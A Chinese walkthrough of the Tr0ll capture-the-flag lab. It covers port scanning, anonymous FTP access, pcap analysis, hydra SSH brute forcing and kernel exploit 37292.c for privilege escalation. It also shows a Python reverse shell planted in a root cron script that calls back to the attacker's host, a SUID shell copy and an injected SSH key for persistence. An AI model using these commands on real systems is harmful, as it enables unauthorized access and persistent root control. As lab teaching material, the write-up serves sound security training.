前言
本次采用Tr0ll经典项目作为靶场,模拟互联网环境,演示从信息收集到最后提权的全过程。本次实验所涉及到的技术有端口扫描、流量分析、文件分析、hydra爆破、各种反弹shell、稳定shell、计划任务反弹shell(提权),公私钥互碰等一系列基本操作,适合入门不久的初学者练习。
攻击机:192.168.160.3
受害机:192.168.160.7
一、信息收集
1、全端口扫描
nmap -p- 192.168.160.7
发现开放21、22、80端口
image2、nmap详细扫描
nmap -sS -sV -A -T5 192.168.160.7
发现ftp存在默认密码Anonymous
image3、登入ftp
使用默认账号密码Anonymous/Anonymous登入ftp
ftp 192.168.160.7
dir查看
get下载
put上传
发现存在lol.pcap流量包
image【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
4、分析流量包
使用wireshark 分析流量
wireshark lol.pcap
右键追踪tcp流
得到信息secret_stuff.txt
image image追踪第二条tcp流,得到信息sup3rs3cr3tdirlol
image经过排查sup3rs3cr3tdirlol是个目录,里面有个roflmao文件
image5、分析文件
下载该文件,分析后发现是个32位文件
file roflmao
image分析文件信息
exiftool roflmao
binwalk roflmao
strings roflmao
得到信息:0x0856BF
image发现0x0856BF目录存在信息,将信息做成密码本zhi.txt
imagePass.txt里面没啥东西,文件名可能有用
image image二、暴力破解
1、hydra爆破
使用hydra爆破,将刚才收集的作为账号本,文件名Pass.txt做为密码字段进行ssh爆破
hydra -L zhi.txt -p Pass.txt 192.168.160.7 ssh
得到账号密码:overflow、Pass.txt
image2、登入ssh
ssh overflow@192.168.160.7
稳定shell
python -c 'import pty;pty.spawn("/bin/bash")'
image
三、提权
1、查看系统版本
uname -a
发现是Linux ubuntu 3.13.0
image2、搜索提权exp
searchsploit Linux ubuntu 3.13.0
复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/
image
3、查看exp
gedit 37292.c
exp里有使用教程
imagepython开启http服务,远程下载
python -m http.server 8520
wget http://192.168.160.3/37292.c
image
image
image
四、拓展
提权后发现shell过几分钟就会断开,应该是设置了计划任务
1、查看计划任务
find / -name cronlog 2>/dev/null ---查看计划任务日志信息
find / -name cleaner.py 2>/dev/null ---查看文件在哪儿
发现计划任务设置每5分钟删除tmp目录下文件,并且没有该计划任务的权限
image1、反弹shell
枚举所有可写入可修改的文件
find / -writable 2>/dev/null ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举
image
修改计划任务文件cleaner.py
nano /lib/log/cleaner.py
ctrl+x退出,y保存
image
修改为
#!/usr/bin/python
def con():
import socket, time,pty, os
host='192.168.160.3'
port=2233
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()
nc -lvvp 2233
成功回弹root权限
image2、创建root可执行程序
修改计划任务
os.system('cp /bin/sh /tmp/zhi')
os.system('chmod u+s /tmp/zhi')
image
image
3、写入ssh rsa
生成ssh key
ssh-keygen ---一路空格回车
image
image
image
cat id_rsa.pub
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCeLZfgzSuFUU8hGMMQkqPEho/ikzjqvPQDKpSTXuCalQJNohE5HpFWf/3IaAiNSyXCKB/Fus81X7WL9l6+sBMkkB5DRtbDh8OapsavE6LWNDs0nJJmS3JtE6jmJAkuP/9EuPreUFIwTDw43B1dhSMNygwogAmno2zJ323prOskCkTZOtpxvhwXNjmnhI3FXlkLOReVVZc3sWvm1PUkN8/gZN9WqjVNq9J8Gl7QexU++Jrt7MbWMhx9y8qAQXNVwqohxSW+poQeBDWdyG8= root@kali
image
计划任务写入密钥
mkdir /root/.ssh; chmod 775 .ssh; echo "加上 id_rsa.pub产生的密匙内容上图有例子" >> /root/.ssh/authorized_keys
即
mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCeLZfgzSuFUU8hGMMQkqPEho/ikzjqvPQDKpSTXuCalQJNohE5HpFWf/3IaAii7r0BvJGXQ6Wk/eIrX8IxsCU23jmnigWlQkxwabscxGXs/Ng0a9vLyseI5+PuY9x881NMoi1YIJAoqBnNSyXCKB/Fus81X7WL9l6+sBMkkB5DRtbDh8OapsavE6LWNDs0nJJmS3JtE6jmJAkuP/9EuPreUFIwTDw43B1dhSMNygwogAmno2MKhvaFoSmHzxBX+TG4/FM3jYQrF8A6LTCWSQlo7bChcCvLpDOy7LBqLQy0U+pjLcH/xv105MVqxNpG+szJ323prOskCkTZOtpxvhwXNjmnhI3FXlkLOReVVZc3sWvm1PUkN8/gZN9WqjVNq9J8Gl7QexU++Jrt7MbWMhx9y8qAQXNVwqohxtCQ+qstFm6KzlXei1Yd6vIQLDWyS67rnWGt0caKEBkIengjEwfb5zoImkQFxKYpapqBbH+oGAuzDQk6jSW+poQeBDWdyG8= root@kali" >> /root/.ssh/authorized_keys
image
公私钥互碰,无需输入密码
ssh root@192.168.160.7
image
网友评论